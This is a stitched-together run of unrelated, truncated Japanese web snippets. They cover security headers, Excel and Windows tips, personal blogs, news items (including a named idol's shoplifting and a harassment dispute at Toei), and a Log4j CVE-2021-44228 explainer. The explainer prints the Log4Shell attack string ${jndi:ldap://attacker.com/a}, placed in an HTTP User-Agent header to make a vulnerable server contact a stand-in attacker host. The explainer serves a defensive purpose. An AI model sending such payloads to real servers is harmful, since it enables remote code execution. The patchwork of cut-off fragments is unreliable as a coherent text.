・事なきを得る ・せざるを得ない 教えてクレメンス

【セキュリティチームブログリレー2回目】 こんにちは。エンジニアリンググループの山本です。 セキュリティチームは、エンジニアリンググループ全体のセキュリティを向上させるためのバーチャルチームなのですが、各プロダクト開発チームのサービスをチェックして、協力しながら全体のセキュリティを向上させていくのがミッションです。 そのお仕事の一環として「この部分、セキュリティヘッダが足りないから入れてください！」というやりとりを日常的に行なっています。 今日はこの「セキュリティヘッダ」というものが一体何なのか、今さら人に聞けないアレコレを取りまとめてみたいと思います。 セキュリティヘッダ警察の日常の図(もちろん冗談です) セキュリティヘッダ そもそもセキュリティヘッダとは？ 比較的安全なセキュリティヘッダ X-Content-Type-Options X-XSS-Protection Strict-Tr

関連記事 25人のAIが一緒に暮らしたら、自我は芽生えるか？　ゲームの中で検証　バレンタインなど勝手に企画 米スタンフォード大学とGoogle Researchに所属する研究者らは、ChatGPTなどで制御したキャラクター25人が1つの町で一緒に生活したらどうなるかを検証した研究報告を発表した。 「サーバに致命的な不具合」のスマホゲー、「修正不可能と判断」でそのままサービス終了　問題発生から2日で ゲームの開発・運営を手掛けるインゲームは、スマートフォンゲーム「戦策三国志」（iOS／Android）の不具合を修正できず、サービスの提供を終了したと発表した。 任天堂「ご迷惑をおかけし申し訳ございません」　「ポケモンSV」アップデート配信　SNSではバグ報告の声多数 任天堂とポケモン社が、「ポケットモンスター スカーレット・バイオレット」の更新データを配信する。新機能を追加した他、いくつかのバ

Excelのシートに設定したパスワードを忘れた場合の解除方法 操作ミスなどによって値が書き換わらないようにシート保護を使って特定のセルを編集不可能にしたり、書き込みや読み込みに対してパスワードを設定したりしたシートの肝心のパスワードが分からない、ということはないだろうか。自分で設定したものを忘れることもあれば、前任者が設定したまま退職してしまった、ということもあるだろう。そのような場合でも、パスワードを解除できる可能性がある。その方法を紹介しよう。 「Microsoft Excel（エクセル）」のシートは、既に作成したものをテンプレートとしてコピーして使うケースも多い。その際、操作ミスなどで入力して値が変更されないように、「シートの保護」機能で編集可能なセル以外をロックしている場合もある（「シートの保護」機能については、Tech TIPS「Excelシートの特定のセルを編集禁止にする」参照

2～3年に1回ぐらいで中古型落ち白ROMスマートフォンに買い替えるという貧乏くさい生き方をしている。 初めて持ったスマートフォンである初代Xperiaを使いつぶして最初にスマートフォンを買い替えたとき、ドコモショップではなく秋葉原の店舗で白ROMを購入した。 以来、10年以上○ゃん○らにはお世話になってると思う。 なんでもまず中古で買おうとする性格の自分は、初代Xperiaの限界が来た時にヤフオクで中古スマートフォンを探した。 ところがそのうち面倒くさくなっていろんな通販サイトを見る中で○ゃん○らを見つけた。あたりを付けていた機種の在庫ありが秋葉原店で、秋葉原に用事もあったため店舗に立ち寄ることにした。 駅からGoogleマップで店舗に行って商品ページを見せると、周辺の別の店舗だという。確か在庫があったのが秋葉原本店で、自分が迷い込んだのが○号店だったかな？ カウンターの店員さんはご丁寧に

Ellie Science JPN @ellie_science 【ゆる募】 研究している方々へ 研究を効率よく進めていくために、普段から習慣として続けていることは何ですか？ シェア頂くと相互に発見がありそうと思い、ゆる募させていただきます すっごく小さなことでも構いません よろしくお願いします🙇 2023-01-23 08:44:36

対象OS：対象OS： Windows 8.1／Windows 10／Windows 11、Windows Server 2012／Windows Server 2012 R2／Windows Server 2016／Windows Server 2019／Windows Server 2022 名前を指定してあるサーバに接続させてみたが、どうも間違ったコンピュータに接続しているようだ、といった場合がある。ネットワークの構成を変更したり、接続するネットワークを変更したりした場合に、こうしたトラブルが発生しやすい。このような場合は、あるコンピュータ名が実際にどのIPアドレスに名前解決されているかを調べ、それが正しいかどうかを検証するとよい。 そこで、本Tech TIPSでは、あるコンピュータ名やホスト名からそのIPアドレスを見つける方法を紹介する 逆に、与えられたIPアドレスから、そのコンピュ

鉄路の運命を司るのは、車両か、大自然か それは阿蘇の回廊を巡る永遠の謎掛け だが、高森線の運命を変えたのは、新車と呼ばれた、あの車両。 大火山阿蘇のカルデラの中で人知れず走り抜けた戦慄が、今、高森の街に蘇る 次回「新車」 続きを読む

「あァァァんまりだァァアァ」 これ、「ジョジョの奇妙な冒険」第二部、主人公ジョジョの強敵エシディシというキャラクターの台詞です。 戦いの最中に突然泣きわめきはじめるのですが、それによって短時間で戦うための冷静さを取り戻して精神を安定させるというエシディシが使うメンタル調整法。それを見た主人公ジョジョは戦慄する、ジョジョ独特の名シーンです。 ぼくも(エシディシのように)気持ちを切り替える、スイッチするために言っていることあるな……と思ったので今日はぼくが気分をスイッチするために「言っていること」について書きたいと思います。 「また痛みを知って強くなってしまったな」 失敗をしたり上手くいかないことがあるとき、過度にクヨクヨしたり失敗したことを考え続けると疲れるし、反省を通り越してネガティブなことばかり考えちゃいますよね。 そういうときスイッチするために「失敗を知ったことで、またまた強くなってし

乗換案内1872とは 1872年10月14日(旧暦9月12日)、新橋～横濱間(現在の汐留～桜木町)で日本初の鉄道が開業し、今年(2022年)で150年が経ちました。 この鉄道開業150周年を記念して「もしも鉄道開業時に乗換案内があったら」を実現！ 150年前の運転区間・時刻・運賃で経路検索をお楽しみいただけます。 ※時刻の表記について 鉄道開業当初は、江戸時代からの時刻表記と区別するために「時」を「字」と表記していました。 乗換案内1872ではこれに合わせて検索フォームの時刻で「字」と表記しています。

はじめにセクハラ・パワハラ・過重労働で労使交渉をしていた東映株式会社を、10月2日に退職しました。 会社で長時間労働・セクハラ・パワハラに遭い精神疾患を患った上、その被害に対する会社への対応が不十分で、不信感が募っている中、たまたま、以前より興味を持っていた企業よりオファーを頂いたため、転職することを決めました。 今後も会社との交渉は続けていきますので、現状をお伝えさせていただきます。 現場環境の改善は不十分東映は労働環境改善に真摯に向き合ってほしいです。 現状、「ユニオンに加入している人がひとりだから要求は個別の事案に限られる」と言われ、建設的な話し合いをしてくれない状況です。テレビ企画制作部部長は団体交渉で、本件に対し「労働時間路管理していくことが難しいのであれば（プロデューサーとしての）適性の問題」「仕事の向き不向きがありますよね」など発言し、会社が原因で起きている問題を、ひとりの能

昨年10月3日、福岡市中央区の新天町商店街で事件はおきた。 「店のシャッターが閉まりだした20時頃だったと思います。商店街を若い男がドドドっと凄い形相で全速力で走り去り、後ろから白衣を着た店員が追いかけていきました。『待てー！』『泥棒！』という声がアーケード中に響き、万引きだとすぐわかりました。後で、その犯人がタレントだったと聞きました」（商店街店主） その男こそ、名古屋発の男性アイドルグループ「BOYS AND MEN」（ボイメン）の人気メンバーで、元仮面ライダー俳優の小林豊（33）だった。小林は福岡市内の薬局で万引きをし、その後店員に捕まり、警察に連行されていたことが「文春オンライン」の取材でわかった。万引きした品物は、ヘアワックスや化粧品など6点で被害額は9000円程度だった。

1996年に放送が開始されたアニメ「ドラゴンボールGT」。その主題歌は、FIELD OF VIEWが4枚目のシングルとして発売した『DAN DAN 心魅かれてく』でした。 当時中学生だった筆者は、FIELD OF VIEWの『突然』や『君がいたから』などのヒット曲を夢中で聴いていました。フロントマンの浅岡雄也さんといえば、甘く切ないラブソングを真摯に歌い上げる好青年。そんなFIELD OF VIEWがドラゴンボールの主題歌を歌うと知り、ワクワクしたのを覚えています。 ドラゴンボールGTの世界観とマッチした『DAN DAN 心魅かれてく』は、国内はもとより、世界中のファンから愛される名曲となりました。浅岡さんはどんな思いでこの曲を歌い続けてきたのでしょうか。レコーディング時の秘話や、時代を彩った楽曲制作陣とのエピソードを交えて語ってもらいました。 ※取材は新型コロナウイルス感染症の予防対策を

中国河南省平頂山市の大学、平頂山学院の陶磁工芸技術陳列館でこのほど行われた所蔵陶磁器標本の整理作業で、陶器と磁器の球が大量に発見されました。 中国･新華社通信が1日火曜、報じたところによりますと、成形の型や焼成中にくっついてしまった数十点の半製品もあり、専門家はこれらが中国古代の球技「捶丸（すいがん）」で使われたものとの見方を示しています。 捶丸の起源は唐代の「歩打球」にあり、宋代から金元代にかけて流行したもので、杖で球を打ち、穴に入れるルールが現代のゴルフによく似ているとされています。 今回見つかった陶磁球は、大小さまざまだが多くは直径5センチほどで、材質は陶器と磁器に分かれており、球体は中実（中身が詰まった状態）で、しっかりと焼成されているが跳力を持っています。一部の表面には絵画や丸文、花卉文、渦巻文などの装飾が施され、異なる土を用いる「絞胎（こうたい）」や釉薬の重ね掛けなど特殊な技法

JNDI とはJava Naming and Directory Interface という、Java アプリケーションが DNS や LDAP 等のサービスを利用するための汎用的なインタフェース (ライブラリ) です。 Log4j と JNDI lookupApache Software Foundation が開発した、Java ベースのロギングに関するライブラリです。JNDI lookup という機能があり、書き込んだログの一部を自動で変数化します。今回はこの機能が悪用されています。 CVE-2021-44228 の攻撃シーケンスの例 攻撃者は脆弱性をトリガーするために http ヘッダの User-Agent に ${jndi:ldap://attacker.com/a} という文字列を埋め込み、http リクエストを送信します。脆弱性のあるサーバの Java App はその通信を

Innovative Tech： このコーナーでは、テクノロジーの最新研究を紹介するWebメディア「Seamless」を主宰する山下裕毅氏が執筆。新規性の高い科学論文を山下氏がピックアップし、解説する。 文教大学川合研究室の研究チームが開発した「ユーザのアクションによって反応する自動ドアの開発」は、音声と姿勢で認証する自動ドアの開閉システムだ。自動ドアに設置したカメラで姿勢推定と音声認識を行い、あらかじめ決めておいたポーズと言葉が合致すれば開く。

47都道府県に定められた「県章」から仮面ライダーをデザインする試みが大きな反響を呼んでいます。基本的には県章のままなのに、しっかりライダーに見えるのだからすごい。 県章のデザインや各地の特色を、仮面ライダーにありそうなデザインへ落とし込んでいる Twitterユーザーのザギザギ（@actct_zagi）さんが、岡山県章とライダーズクレスト（各仮面ライダーに設定された固有の紋章）は似ていると気付いて始めた企画。「県章をライダーズクレストに見立て、そこから逆算してライダーをデザインするとどうなるか」との興味から描いたといいます。 どのデザインも県章をモチーフに据え、口やアンテナなどを加えてライダーらしく仕上げられています。角がなまはげの包丁形の秋田や、カステラのような黄と茶のラインが入った長崎など、各地の特色が盛り込まれているものも。仮面ライダーの生みの親、石ノ森章太郎さんの出生地である宮城は